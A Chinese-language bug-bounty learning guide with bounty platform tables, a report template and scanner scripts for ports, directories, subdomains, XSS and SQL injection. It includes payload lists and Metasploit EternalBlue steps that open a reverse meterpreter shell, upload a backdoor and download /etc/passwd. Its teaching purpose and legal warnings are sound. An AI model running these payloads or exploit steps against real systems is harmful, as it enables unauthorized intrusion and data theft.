📚 学习模式(系统入门)
> 按阶段1→15循序渐进,零基础到就业全流程。适合:在校学习、在职转岗、零基础入门。
💰 掘金模式(直接赚钱)
> 跳过学习,直接看「各阶段🎯实战掘金」板块,告诉你当前能挖什么漏洞、去哪个平台、奖金多少。适合:有基础想变现、急于副业收入。
> 遇到问题先运行环境自检,90%的问题都能自动诊断出来。
第1步:环境自检
python scripts/check_env.py
运行后会输出完整的诊断报告,告诉你环境哪里有问题、怎么修。
第2步:安装依赖
pip install -r requirements.txt
第3步:运行第一个脚本
# 端口扫描(测试本地)
python scripts/port_scanner.py 127.0.0.1 1 100
# 子域名枚举
python scripts/subdomain_enum.py example.com
文件速查:
README.md — 快速入门
requirements.txt — Python依赖
scripts/check_env.py — 环境诊断(遇到问题先运行)
scripts/ — 5个实战脚本
references/ — 15个阶段学习文档
> 这部分是技能的核心价值——学完能用,用完能赚钱。
| 平台 | 网址 | 奖金范围 | 结算速度 | 难度 | 推荐指数 |
|------|------|----------|----------|------|------------|
| 腾讯TSRC | security.tencent.com | 100-100000元 | 快(1-2周) | 中 | ⭐⭐⭐⭐⭐ |
| 阿里ASRC | asrc.alibaba.com | 200-50000元 | 中(2-4周) | 中高 | ⭐⭐⭐⭐ |
| 百度BSRC | bsrc.baidu.com | 100-30000元 | 快 | 中 | ⭐⭐⭐⭐ |
| 360SRC | security.360.cn | 50-20000元 | 中 | 低中 | ⭐⭐⭐ |
| 京东JSRC | src.jd.com | 100-50000元 | 中 | 中 | ⭐⭐⭐⭐ |
| 字节火山 | security.bytedance.com | 200-80000元 | 快 | 高 | ⭐⭐⭐⭐⭐ |
| 漏洞类型 | 低危奖金 | 中危奖金 | 高危奖金 | 严重奖金 | 挖掘难度 | 出现频率 |
|---------|----------|----------|----------|----------|----------|----------|
| 越权访问 | 200-500 | 500-2000 | 2000-10000 | 10000+ | ⭐⭐ | 极高 |
| 信息泄露 | 100-500 | 500-2000 | 2000-8000 | 8000+ | ⭐ | 极高 |
| SQL注入 | 500-1000 | 1000-5000 | 5000-20000 | 20000+ | ⭐⭐⭐ | 高 |
| 逻辑漏洞 | 500-2000 | 2000-10000 | 10000-50000 | 50000+ | ⭐⭐⭐ | 中 |
| XSS | 100-300 | 300-1000 | 1000-5000 | — | ⭐ | 高 |
| 未授权访问 | 200-1000 | 1000-5000 | 5000-20000 | — | ⭐ | 高 |
| RCE(远程代码执行) | — | 5000-20000 | 20000-100000 | 100000+ | ⭐⭐⭐⭐⭐ | 低 |
| 反序列化 | — | 2000-10000 | 10000-50000 | 50000+ | ⭐⭐⭐⭐ | 中低 |
> 💡 掘金建议:优先挖越权和信息泄露(容易且高频),其次逻辑漏洞(奖金高),有深度后再挖RCE(奖金最高但极难)。
① 选平台 → 注册账号,阅读奖励规则
↓
② 选目标 → 从平台资产列表挑软目标(新上线的业务最好挖)
↓
③ 信息收集 → 子域名枚举、端口扫描、目录爆破
↓
④ 漏洞发现 → 按「掘金优先级」顺序测试
↓
⑤ 编写报告 → 用标准模板,配好截图/POC
↓
⑥ 提交等待 → 通常1-3个工作日审核
↓
⑦ 奖金到账 → 平台打款(支付宝/微信/银行卡)
【漏洞标题】[目标名称] 越权漏洞(如:越权删除任意用户数据)
【漏洞URL】
https://example.com/api/user/delete
【漏洞描述】
在XXX功能模块,未对操作者的权限进行校验,导致普通用户可越权操作其他用户的数据。
【复现步骤】
1. 登录普通用户A,抓包记录正常请求
2. 修改请求中的user_id参数为其他用户的ID
3. 重放请求,发现操作成功,证明越权存在
【请求包截图】
[粘贴Burp截取的请求包]
【响应包截图】
[粘贴响应包,证明操作成功]
【危害证明】
可删除/修改任意用户数据,造成严重数据泄露和业务影响。
【修复建议】
1. 服务端对操作者身份进行严格校验
2. 使用服务端session,不依赖前端传参
3. 增加权限中间件,统一处理鉴权逻辑
| 时间投入 | 可达成目标 | 预期月收入 |
|----------|------------|------------|
| 每天1小时,持续1个月 | 掌握OWASP Top 10,能挖低危漏洞 | 500-2000元 |
| 每天2小时,持续3个月 | 熟练挖掘越权/信息泄露,中危稳定产出 | 2000-8000元 |
| 每天3小时,持续6个月 | 能挖高危RCE/逻辑漏洞,成为平台常客 | 8000-30000元 |
> 明确技能能做什么、不能做什么,避免产生不切实际的预期。
| 能力 | 说明 | 示例 |
|------|------|------|
| 系统学习 | 从法律基础到就业面试的完整学习路径 | 零基础 → 15个阶段 → 具备SRC挖洞能力 |
| 实战掘金 | 指导在SRC平台挖漏洞并获取奖金 | 告诉你挖什么、去哪挖、怎么写报告 |
| 工具使用 | 提供可直接运行的Python脚本 | 端口扫描、目录爆破、子域名枚举等 |
| 环境搭建 | 指导搭建靶场和渗透测试环境 | DVWA、Pikachu、Vulhub一键部署 |
| 排错支持 | 遇到问题有详细的排查方案 | 万能排错流程 + 脚本独立FAQ + 环境自检 |
| 不能做的事 | 原因 | 替代方案 |
|------------|------|---------|
| 自动挖漏洞 | 挖洞需要人工分析每个目标的业务逻辑 | 本技能提供方法论和工具,仍需你手动测试 |
| 绕过所有WAF | WAF规则随时更新,没有通用绕过方案 | 本技能教思路,具体绕过需根据目标调整 |
| 保证一定能挖到漏洞 | 漏洞存在与否取决于目标系统的安全状况 | 坚持系统化测试,提高发现概率 |
| 代替合法授权 | 任何测试必须获得目标授权 | 只在SRC平台资产列表或自有系统上测试 |
| 提供最新0day漏洞 | 0day具有时效性,且涉及法律风险 | 本技能教挖洞方法,让你自己发现漏洞 |
| 保证奖金数额 | 奖金由平台根据漏洞危害评估决定 | 按本技能的方法论提高报告质量,间接提升奖金 |
| 一键生成高质量报告 | 报告需要针对具体漏洞写详细复现步骤 | 本技能提供报告模板,需你填入具体内容 |
✅ 适合:
❌ 不适合:
> 本技能提供 6 个可直接运行的Python脚本 和 1 个配套字典文件。下载解压后,无需任何额外准备即可运行。
所有脚本均经过以下设计,确保运行时稳定可靠:
| 设计特性 | 说明 | 受益 |
|---------|------|------|
| 异常捕获 | 每个关键操作都有 try/except/finally | 不会因为单个错误导致整个程序崩溃 |
| 超时控制 | 网络请求均设置超时(1-5秒) | 不会因为网络慢而卡死 |
| 多线程安全 | queue.Queue + threading.Lock | 并发执行不出错 |
| 资源释放 | sock.close()、queue.task_done() 在 finally 中执行 | 不会内存泄漏或线程阻塞 |
| 优雅降级 | 模块缺失时给出明确提示,不直接报错退出 | 用户知道缺什么、怎么装 |
| 脚本 | 功能 | 依赖 | 代码行数 |
|------|------|------|---------|
| scripts/check_env.py | 环境诊断(Python版本/模块/网络/权限) | 纯标准库 | ~120行 |
| scripts/port_scanner.py | TCP端口扫描(多线程+服务识别) | 纯标准库 | ~130行 |
| scripts/dir_bruteforce.py | Web目录/文件爆破(多线程+状态码过滤) | requests | ~140行 |
| scripts/subdomain_enum.py | 子域名枚举(多线程+DNS超时控制) | dnspython | ~120行 |
| scripts/xss_scanner.py | 反射型XSS检测(Payload自动注入+响应分析) | requests | ~100行 |
| scripts/sql_injection_tester.py | SQL注入检测(GET/POST+错误关键词匹配) | requests | ~120行 |
| scripts/wordlist.txt | 目录爆破字典(100+常见路径) | — | 100+条 |
功能:自动检测Python环境、模块依赖、网络连通性、文件完整性。
核心代码(精简展示异常处理设计):
import sys, subprocess, socket, os
def check_python():
"""检测Python版本"""
version = sys.version_info
if version.major >= 3 and version.minor >= 8:
return True, f"Python {version.major}.{version.minor}.{version.micro} (>= 3.8)"
return False, f"Python {version.major}.{version.minor} (需要 >= 3.8)"
def check_modules():
"""检测必要模块"""
required = ['socket', 'threading', 'queue', 'urllib']
missing = []
for mod in required:
try:
__import__(mod)
except ImportError:
missing.append(mod)
return len(missing) == 0, missing
def check_network():
"""检测网络连通性"""
try:
socket.create_connection(("www.baidu.com", 80), timeout=3)
return True, "网络通畅"
except Exception as e:
return False, str(e)
# 运行后输出彩色诊断报告,标记[OK]/[WARN]/[FAIL]
用法:
python scripts/check_env.py
预期输出:
[OK] Python版本: 3.12.1 (>= 3.8)
[OK] 必要模块: 全部已安装
[OK] 推荐模块: requests已安装
[OK] 网络连通性: 正常
[OK] 脚本文件完整性: 6/6 文件存在
========================================
诊断结果: 环境正常,可以开始使用
功能:多线程TCP端口扫描,自动识别服务类型。
核心代码(展示异常处理+超时控制):
import socket, threading, queue
port_queue = queue.Queue()
results = []
def port_scan(target, port, timeout=1):
"""扫描单个端口,异常不崩溃"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout) # 超时控制
result = sock.connect_ex((target, port))
if result == 0:
try:
service = socket.getservbyport(port, 'tcp')
except:
service = 'unknown'
results.append((port, 'OPEN', service))
print(f"[+] 端口 {port} 开放 ({service})")
sock.close()
except socket.timeout:
pass # 超时=端口关闭,不报错
except Exception:
pass # 任何异常都不崩溃
def worker(target):
"""多线程工作函数,异常安全"""
while not port_queue.empty():
try:
port = port_queue.get_nowait()
except queue.Empty:
break
try:
port_scan(target, port)
except Exception:
pass
finally:
port_queue.task_done() # 确保队列计数正确
# 主函数:自动解析域名→创建50线程→join等待→输出结果
用法:
python scripts/port_scanner.py 127.0.0.1 1 1000
预期输出:
============================================================
端口扫描器
目标: 127.0.0.1
端口范围: 1 - 1000
线程数: 50
============================================================
[+] 端口 80 开放 (http)
[+] 端口 443 开放 (https)
[+] 端口 3306 开放 (mysql)
============================================================
扫描完成
开放端口数: 3
============================================================
功能:多线程目录/文件爆破,内置User-Agent,支持扩展名扫描。
核心代码(展示异常处理+队列安全):
import requests, threading, queue
result_queue = queue.Queue()
found_paths = []
lock = threading.Lock()
def check_path(base_url, path):
"""检查单个路径,超时3秒"""
url = base_url.rstrip('/') + '/' + path.lstrip('/')
try:
headers = {'User-Agent': 'Mozilla/5.0'}
r = requests.get(url, headers=headers, timeout=3, allow_redirects=False)
if r.status_code in [200, 301, 302, 403, 401]:
return (url, r.status_code)
except requests.Timeout:
pass # 超时跳过
except requests.ConnectionError:
pass # 连接失败跳过
except Exception:
pass # 其他异常不崩溃
return None
def worker(base_url):
"""工作线程,异常安全+队列计数保护"""
while not result_queue.empty():
try:
path = result_queue.get_nowait()
except queue.Empty:
break
try:
result = check_path(base_url, path)
if result:
with lock: # 线程锁保护共享数据
found_paths.append(result)
print(f"[+] [{result[1]}] {result[0]}")
except Exception:
pass
finally:
result_queue.task_done() # finally确保计数正确
用法:
python scripts/dir_bruteforce.py http://your-target.com scripts/wordlist.txt
预期输出:
[+] [200] http://your-target.com/robots.txt
[+] [301] http://your-target.com/admin
[+] [403] http://your-target.com/api/
[+] [200] http://your-target.com/.env
目录爆破完成,发现 4 个有效路径
功能:多线程子域名枚举,DNS查询超时控制,进度实时输出。
核心代码(展示DNS异常处理+多线程):
import dns.resolver, threading, queue
sub_queue = queue.Queue()
found_subdomains = []
lock = threading.Lock()
def check_subdomain(domain):
"""查询子域名DNS记录,超时3秒"""
try:
resolver = dns.resolver.Resolver()
resolver.timeout = 3 # DNS查询超时
resolver.lifetime = 5 # 总生命周期
answers = resolver.resolve(domain, 'A')
ips = [str(rdata) for rdata in answers]
return True, ips
except dns.resolver.NXDOMAIN:
return False, None # 不存在,正常结果
except dns.resolver.Timeout:
return False, None # 超时,不报错
except Exception:
return False, None # 其他异常不崩溃
def worker(base_domain):
"""多线程工作函数"""
while not sub_queue.empty():
try:
sub = sub_queue.get_nowait()
except queue.Empty:
break
domain = f"{sub}.{base_domain}"
try:
exists, ips = check_subdomain(domain)
if exists:
with lock:
found_subdomains.append((domain, ips))
print(f"[+] {domain} -> {', '.join(ips)}")
except Exception:
pass
finally:
sub_queue.task_done()
用法:
python scripts/subdomain_enum.py example.com
预期输出:
[+] www.example.com -> 93.184.216.34
[+] mail.example.com -> 93.184.216.35
[+] api.example.com -> 93.184.216.36
子域名枚举完成,发现 3 个有效子域名
功能:自动注入XSS Payload,检测响应中是否未过滤地反射。
核心代码(展示Payload注入+编码检测):
import requests, urllib.parse
XSS_PAYLOADS = [
'<script>alert(1)</script>',
'"><script>alert(1)</script>',
"'><script>alert(1)</script>",
]
def test_xss(url, param):
"""测试单个参数是否反射XSS Payload"""
for payload in XSS_PAYLOADS:
test_url = url.replace(f"{param}=", f"{param}={urllib.parse.quote(payload)}")
try:
r = requests.get(test_url, timeout=5, headers={
'User-Agent': 'Mozilla/5.0'
})
if payload in r.text:
# 检查是否被HTML编码(如 <script>)
encoded = payload.replace('<', '<').replace('>', '>')
if encoded not in r.text:
return True, payload # 未编码反射 = 可能存在XSS
except requests.Timeout:
pass
except requests.ConnectionError:
pass
except Exception:
pass
return False, None
用法:
python scripts/xss_scanner.py "http://your-target.com/search?q=test" q
预期输出:
[*] 测试URL: http://your-target.com/search?q=test
[*] 参数: q
[+] 发现潜在XSS漏洞!
Payload: <script>alert(1)</script>
测试URL: http://your-target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
说明: Payload在响应中未编码反射
功能:GET/POST参数SQL注入测试,基于错误关键词和响应差异检测。
核心代码(展示错误匹配+异常细分):
import requests, urllib.parse, sys
SQL_PAYLOADS = [
("'", "单引号测试"),
("' OR '1'='1", "逻辑测试"),
("' UNION SELECT 1,2,3-- ", "UNION测试"),
]
ERROR_KEYWORDS = ['sql', 'syntax', 'mysql', 'sqlite', 'postgresql',
'ora-', 'error', 'warning']
def test_sql_injection(url, param, method='GET'):
"""测试SQL注入,细分异常类型"""
for payload, desc in SQL_PAYLOADS:
try:
if method == 'GET':
test_url = url.replace(f"{param}=", f"{param}={urllib.parse.quote(payload)}")
r = requests.get(test_url, timeout=5)
else:
data = {param: payload}
r = requests.post(url, data=data, timeout=5)
response_text = r.text.lower()
for keyword in ERROR_KEYWORDS:
if keyword in response_text:
return True, payload, f"检测到错误关键词: {keyword}"
except requests.Timeout:
continue # 超时换下一个Payload
except requests.ConnectionError:
continue # 连接失败换下一个
except requests.RequestException:
continue # 其他请求异常跳过
except Exception:
continue # 任何异常不崩溃
return False, None, None
用法:
# GET请求
python scripts/sql_injection_tester.py "http://your-target.com/page?id=1" id
# POST请求
python scripts/sql_injection_tester.py "http://your-target.com/login" username POST
预期输出:
[*] 测试URL: http://your-target.com/page?id=1
[*] 参数: id (GET)
[+] 发现SQL注入漏洞!
Payload: ' OR '1'='1
检测方式: 检测到错误关键词: mysql
测试URL: http://your-target.com/page?id=%27+OR+%271%27%3D%271
scripts/wordlist.txt 包含 100+ 条 开箱即用的路径:
admin
login
api
robots.txt
.env
config.php
backup
.git
.svn
swagger
phpmyadmin
redis
... (共100+条)
分类覆盖:
自定义:用文本编辑器打开,每行一个路径,保存后直接运行目录爆破脚本。
用法:
python scripts/dir_bruteforce.py http://your-target.com scripts/wordlist.txt
> 本章节解决核心问题:"内容不对会怎么样、该怎么调整、文档没覆盖的问题怎么处理"。
无论遇到什么问题,先运行:
python scripts/check_env.py
这个脚本会自动检测并告诉你:
根据诊断报告中的 [FAIL] 和 [WARN] 项逐一修复即可。
如果运行了 check_env.py 仍无法解决,或者遇到文档没提到的问题,按以下流程排查:
┌─────────────────────────────────────────────────────┐
│ 万能排错流程(适用于任何脚本/环境/报错问题) │
├─────────────────────────────────────────────────────┤
│ 1. 读报错信息 → 看最后一行错误提示是什么 │
│ 2. 复制错误 → 粘贴到搜索引擎(百度/谷歌)查找 │
│ 3. 检查环境 → 运行 python scripts/check_env.py │
│ 4. 检查依赖 → pip install -r requirements.txt │
│ 5. 简化测试 → 用最简单的命令/参数先跑通 │
│ 6. 换环境试 → 换Python版本、换操作系统、换网络 │
│ 7. 查看日志 → 脚本输出文件或系统日志 │
│ 8. 隔离变量 → 一次只改一个条件,定位问题根源 │
└─────────────────────────────────────────────────────┘
排查口诀:一读二搜三检查,四装五简六换七看八隔离。
| 问题 | 原因 | 解决方案 |
|------|------|---------|
| 某个知识点看不懂 | 前置知识缺失 | 回到前一阶段补基础,不要硬啃 |
| 环境搭建失败 | 版本/依赖问题 | 看下方「环境搭建速查」,或搜错误信息 |
| 脚本运行报错 | Python版本/模块缺失 | python --version 确认版本,缺模块用 pip install xxx |
| 不知道下一步做什么 | 没有目标感 | 回到掘金指南,按「快速掘金路线」走 |
| 学了很久没成果 | 方法不对 | 切换到「掘金模式」,先挖一个漏洞建立信心 |
| 问题 | 原因 | 解决方案 |
|------|------|---------|
| 所有端口都显示开放 | 目标不可达或防火墙全放行 | 先用 ping 测试目标是否可达 |
| 扫描速度极慢 | 单线程或超时太长 | 增加线程数参数,或减小扫描范围 |
| socket.gaierror | 域名解析失败 | 检查DNS设置,或直接用IP地址 |
| 扫描结果为空 | 目标确实没有开放端口,或被防火墙拦截 | 尝试扫描本地 127.0.0.1 验证脚本正常 |
| 问题 | 原因 | 解决方案 |
|------|------|---------|
| FileNotFoundError | 字典文件路径不对 | 确认字典文件存在,用绝对路径 |
| 全部404但网站能访问 | User-Agent被拦截 | 脚本已内置UA,如仍被拦截加 --header |
| 结果太多(大量200/301) | 目标返回软404 | 用 -s 参数过滤状态码,或手动检查 |
| requests 模块不存在 | 未安装requests | pip install requests |
| 问题 | 原因 | 解决方案 |
|------|------|---------|
| ModuleNotFoundError: No module named 'dns' | 未安装dnspython | pip install dnspython |
| 找不到任何子域名 | 目标确实没有常见子域名 | 这是正常结果,说明目标暴露面小 |
| 枚举速度很慢 | DNS查询有延迟 | 这是正常的,几百个子域名需要几分钟 |
| 问题 | 原因 | 解决方案 |
|------|------|---------|
| 提示"URL没有参数" | 传入的URL不带查询参数 | 提供带 ?id=1 这种参数的URL |
| 全部没发现注入 | 目标有WAF或确实没有注入 | 尝试手动测试 ' OR '1'='1 验证 |
| 误报(没有注入但报有) | 错误关键词匹配太宽泛 | 手动访问测试URL确认 |
| 问题 | 原因 | 解决方案 |
|------|------|---------|
| 提示"URL没有参数" | 反射型XSS需要URL参数 | 提供带 ?q=test 这种参数的URL |
| 没发现XSS但手动能触发 | 可能是DOM型XSS | 本脚本只检测反射型XSS |
| 误报(payload在响应中但没执行) | 可能被转义或编码 | 手动在浏览器中访问测试URL验证 |
如果以上所有方法都无法解决你的问题:
python scripts/check_env.py 保存输出
> 💡 记住:网络安全学习中遇到问题是正常的。每个报错都是学习机会。记录问题、搜索解决、下次就会了。
看下方「环境搭建速查」章节,包含Kali安装、靶场搭建、Python环境配置。
绝对不能做的(会违法):
可以安全做的:
# Windows 安装Python 3.x
# 1. 官网下载: python.org/downloads
# 2. 安装时勾选 "Add Python to PATH"
# 3. 验证安装
python --version
pip --version
# 安装常用模块
pip install requests beautifulsoup4 lxml python-nmap paramiko
# 启用WSL
wsl --install
# 安装Kali
wsl --install -d kali-linux
# 进入Kali
wsl -d kali-linux
# 更新系统
sudo apt update && sudo apt upgrade -y
1. 下载: portswigger.net/burp/communitydownload
2. 安装Java JDK 11+
3. 启动Burp,配置浏览器代理: 127.0.0.1:8080
4. 安装CA证书(抓HTTPS必须)
DVWA(Web漏洞靶场):
# 用Docker一键启动
docker run -d -p 80:80 vulnerables/web-dvwa
# 访问 http://localhost,默认账号 admin/password
Pikachu(中文漏洞靶场):
# GitHub下载
https://github.com/zhuifengshaonianhanlu/pikachu
# 按README配置PHP+MySQL环境
Vulhub(漏洞复现环境):
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-045 # 以Struts2为例
docker-compose up -d
# PowerShell执行策略限制?执行这条解除限制
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
# 脚本路径含中文报错?
# 把脚本复制到英文路径(如 C:\tools\)再运行
学完能挖:越权/信息泄露(低危→中危)
↓
阶段1: 法律基础 → 阶段2: 计算机基础 → 阶段3: Python编程
↓ ↓
🎯新手禁止动手 🎯写自动化挖洞脚本
↓
阶段4: Kali Linux → 阶段5: Metasploit → 阶段6: Web安全
↓ ↓
🎯工具扫描拿低危漏洞 🎯SQL注入/XSS拿中高危漏洞
↓
阶段7: 渗透测试 → 阶段8: 靶场练手 → 阶段9: 护网攻防
↓ ↓
🎯完整渗透拿高危 🎯练手后去SRC实战
↓
阶段10: CTF竞赛 → 阶段11: 漏洞挖掘 → 阶段12: 内网渗透
↓ ↓
🎯练手技巧 🎯SRC持续掘金
↓
阶段13: 企业安全 → 阶段14: 云安全 → 阶段15: 面试就业
↓
🎯进阶高薪岗位
> 💡 快速掘金路线:如果你已经有基础,直接跳到阶段6(Web安全)→ 阶段11(漏洞挖掘),这两个阶段是掘金核心。
建立合法合规的网络安全学习框架,明确红线边界。
《中华人民共和国网络安全法》要点:
《刑法》相关条款:
合法学习边界:
本阶段禁止动手挖漏洞! 先懂法才能安全掘金。
学完本章你能:
掘金准备清单(学完阶段1可以做):
> ⚠️ 警告:未授权测试 = 违法。只在SRC平台授权范围内测试!
| 问题 | 解答 |
|------|------|
| 测试朋友网站算违法吗? | 只要对方明确授权就不违法,口头同意也算,但最好有书面/聊天记录 |
| CTF比赛中的攻击算违法吗? | 不算,CTF是授权环境,但比赛结束后不能继续攻击 |
| 在SRC平台挖漏洞会被起诉吗? | 不会,只要按平台规则提交,平台会保护白帽子 |
| 发现漏洞但没提交,自己留着算违法吗? | 不算违法,但如果利用漏洞做坏事就算 |
| 扫描公网IP算违法吗? | 灰色地带,建议只扫描SRC平台列出的资产 |
法律边界速查:
✅ 安全的:自有系统测试、授权靶场、SRC平台、CTF竞赛
⚠️ 灰色:公网端口扫描(一般不追究,但不建议)
❌ 违法的:未授权入侵、数据窃取、工具传播、勒索攻击
references/01_legal_basics.md(详细法律条文与案例分析)
掌握计算机网络、操作系统、数据库的核心原理。
OSI七层模型与TCP/IP四层模型:
应用层 (HTTP/HTTPS/DNS/DHCP)
传输层 (TCP/UDP)
网络层 (IP/ICMP/ARP)
网络接口层 (Ethernet/VLAN)
核心协议深度理解:
网络设备:
Linux基础(重点):
# 文件权限
chmod 755 file.sh
chown user:group file.txt
# 进程管理
ps aux | grep process
kill -9 PID
top / htop
# 网络排查
netstat -tulnp
ss -tulnp
tcpdump -i eth0 port 80
# 日志分析
tail -f /var/log/auth.log
grep "Failed" /var/log/secure
Windows基础:
SQL语言核心:
-- 查询
SELECT * FROM users WHERE id=1;
-- 注入点测试
SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1';
-- 联合查询
SELECT * FROM users UNION SELECT 1,2,3;
常见数据库:
学完本章你可以:
掘金相关知识点:
知识点 → 能挖的漏洞
─────────────────────────────
HTTP请求/响应流程 → XSS、CSRF、越权
HTTP头部结构 → Host头注入、CRLF注入
Cookie/Session机制 → 会话固定、越权
SQL语法 → SQL注入(最主要掘金手段)
Linux命令 → 日志分析、后渗透
端口与服务 → 信息泄露(开放不必要的端口)
现阶段可以做的掘金准备:
references/02_computer_basics.md(详细命令与实验)
掌握Python基础语法,能够编写爬虫和端口扫描脚本。
核心语法:
# 变量与数据类型
name = "Alice"
age = 25
skills = ["Python", "Linux", "Web安全"]
# 控制流
if port == 80:
print("HTTP服务")
elif port == 443:
print("HTTPS服务")
else:
print("其他服务")
# 函数
def port_scan(target, port):
# 端口扫描逻辑
pass
Requests + BeautifulSoup 示例:
import requests
from bs4 import BeautifulSoup
url = "http://example.com"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取所有链接
links = soup.find_all('a')
for link in links:
print(link.get('href'))
Scrapy框架基础:
import scrapy
class MySpider(scrapy.Spider):
name = 'myspider'
start_urls = ['http://example.com']
def parse(self, response):
yield {
'title': response.css('h1::text').get(),
'link': response.url
}
Socket端口扫描器:
import socket
import threading
from queue import Queue
def port_scan(target, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((target, port))
if result == 0:
print(f"[+] 端口 {port} 开放")
sock.close()
except:
pass
def scan_ports(target, start_port, end_port):
for port in range(start_port, end_port + 1):
t = threading.Thread(target=port_scan, args=(target, port))
t.start()
# 使用
scan_ports("192.168.1.1", 1, 1024)
使用Nmap库:
import nmap
nm = nmap.PortScanner()
nm.scan('192.168.1.0/24', '22-443')
for host in nm.all_hosts():
print(f"主机: {host}, 状态: {nm[host].state()}")
学完本章你可以编写自动化挖洞脚本,批量扫描目标!
掘金脚本方向:
| 脚本类型 | 能挖的漏洞 | 预计产出 |
|---------|------------|------------|
| 子域名枚举脚本 | 发现更多攻击面 | 低危信息泄露 |
| 端口扫描脚本 | 发现开放的不必要服务 | 低危信息泄露 |
| 目录爆破脚本 | 发现后台/敏感路径 | 低危信息泄露 |
| SQL注入检测脚本 | 批量检测注入点 | 中危→高危 |
| XSS检测脚本 | 批量检测XSS点 | 低危→中危 |
实战:编写你的第一个掘金脚本
# dir_bruteforce.py - 目录爆破(已包含在scripts/中)
# 用法:python dir_bruteforce.py https://target.com wordlist.txt
# 这个脚本可以帮你快速发现:
# - 后台登录页(/admin、/manager)
# - 敏感文件(/robots.txt、/sitemap.xml)
# - 备份文件(/backup、/db.sql)
# 这些都是低危漏洞,但累积起来也是收入!
现阶段掘金行动:
> 💡 掘金技巧:很多SRC的高危漏洞,都是从「目录爆破发现敏感路径」开始的!
| 问题 | 原因 | 解决方案 |
|------|------|---------|
| ModuleNotFoundError: No module named 'requests' | 模块未安装 | pip install requests |
| SyntaxError 语法错误 | 缩进或括号不匹配 | 检查缩进(4个空格),检查括号闭合 |
| 脚本运行无结果 | 目标不可达或被防火墙拦截 | ping target_ip 测试连通性 |
| 端口扫描太慢 | 单线程 | 用多线程或Nmap库:pip install python-nmap |
| Python版本太旧 | 安装了Python 2.x | 重新安装Python 3.8+,确认 python --version |
脚本调试技巧:
# 加打印语句定位问题
print(f"正在扫描: {target}:{port}")
# 用try-except捕获异常
try:
response = requests.get(url, timeout=5)
except Exception as e:
print(f"请求失败: {e}")
references/03_python_practice.md(完整代码示例)
scripts/port_scanner.py(端口扫描脚本模板)
scripts/dir_bruteforce.py(目录爆破脚本模板)
scripts/wordlist.txt(目录爆破字典,开箱即用)
scripts/xss_scanner.py(XSS漏洞扫描器)
scripts/sql_injection_tester.py(SQL注入检测器)
scripts/subdomain_enum.py(子域名枚举器)
scripts/check_env.py(环境自检,运行前先检测)
掌握Kali Linux安装配置,熟悉常用工具。
虚拟机安装(推荐):
WSL2安装(Windows):
wsl --install -d Kali-Linux
基础配置:
# 更新系统
sudo apt update && sudo apt full-upgrade -y
# 安装常用工具
sudo apt install -y vim net-tools nmap masscan gobuster
# 配置静态IP(根据需要)
sudo nano /etc/network/interfaces
权限管理:
# 添加普通用户
sudo adduser hacker
sudo usermod -aG sudo hacker
# 禁用root远程登录
sudo passwd -l root
信息收集:
漏洞扫描:
口令攻击:
无线攻击:
学完本章你可以用工具自动化扫描,快速发现低危漏洞!
Kali工具 → 掘金对应表:
| Kali工具 | 能挖的漏洞 | 奖金范围 |
|---------|------------|----------|
| Nmap + 脚本 | 开放不必要端口、服务漏洞 | 100-500元(低危) |
| Gobuster + 大字典 | 敏感目录/文件泄露 | 100-500元(低危) |
| Nikto | Web服务器配置错误 | 100-1000元(低危) |
| WhatWeb | 识别CMS版本(找已知漏洞) | 辅助工具 |
| Sublist3r | 子域名枚举(扩大攻击面) | 辅助工具 |
实战:用Kali工具挖你的第一笔奖金
# 步骤1:从SRC平台选一个目标(如:example.tencent.com)
# 步骤2:子域名枚举
sublist3r -d example.tencent.com -o subdomains.txt
# 步骤3:端口扫描发现服务
nmap -sV -p 1-65535 target.com
# 步骤4:目录爆破发现敏感路径
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# 步骤5:把发现的有价值信息整理成报告提交
# 例如:发现 /backup/ 目录可访问 → 信息泄露(低危,100-500元)
> 💡 掘金技巧:很多新手的第一笔奖金就是从「信息泄露」开始的!用Nmap扫端口、用Gobuster跑目录,发现异常就报告。
现阶段掘金行动:
| 问题 | 原因 | 解决方案 |
|------|------|---------|
| Kali安装失败 | WSL未启用 | wsl --install 后重启电脑 |
| apt update报错 | 网络或源问题 | 换国内源:sed -i 's/http.kali.org/mirrors.aliyun.com/g' /etc/apt/sources.list |
| Nmap扫描被防火墙拦截 | 目标有防护 | 加参数绕过:nmap -Pn -sS target.com |
| Burp抓不到HTTPS | CA证书未安装 | 访问 http://burpsuite 下载CA证书并导入浏览器 |
| Metasploit启动慢 | 数据库未初始化 | msfdb init 初始化数据库 |
| 工具命令找不到 | 不在PATH中 | which 工具名 查找路径,或 apt install 工具名 |
references/04_kali_linux.md(工具详解与实战)
掌握Metasploit框架使用,理解漏洞利用与后渗透。
框架结构:
modules/
├── exploits/ # 漏洞利用模块
├── payloads/ # 攻击载荷
├── auxiliary/ # 辅助模块
├── post/ # 后渗透模块
└── encoders/ # 编码模块
基本命令:
# 启动MSF
msfconsole
# 搜索模块
search ms17-010
search type:exploit platform:windows
# 使用模块
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
常用Payload:
windows/meterpreter/reverse_tcp:反向TCP连接
windows/x64/meterpreter/bind_tcp:正向TCP绑定
linux/x64/shell_reverse_tcp:Linux反向Shell
Meterpreter常用命令:
# 系统信息
sysinfo
getuid
# 文件操作
ls
cd
download /etc/passwd
upload backdoor.exe
# 进程迁移
ps
migrate PID
# 权限提升
getsystem
学完本章你可以利用已知漏洞拿到Shell,挖掘高危漏洞!
Metasploit → 掘金对应:
| MSF能力 | 掘金场景 | 奖金 |
|---------|------------|------|
| 搜索CVE模块 | 利用已知漏洞攻击SRC目标 | 高危5000-20000元 |
| 编写自定义Exploit | 0day漏洞利用(极难) | 严重50000+元 |
| 后渗透模块 | 证明漏洞危害(取证) | 提高漏洞评级 |
> ⚠️ 重要提醒:Metasploit主要用于授权渗透测试和靶场练习。在SRC平台挖漏洞时:
> 1. 通常不需要真正弹Shell(证明漏洞存在即可)
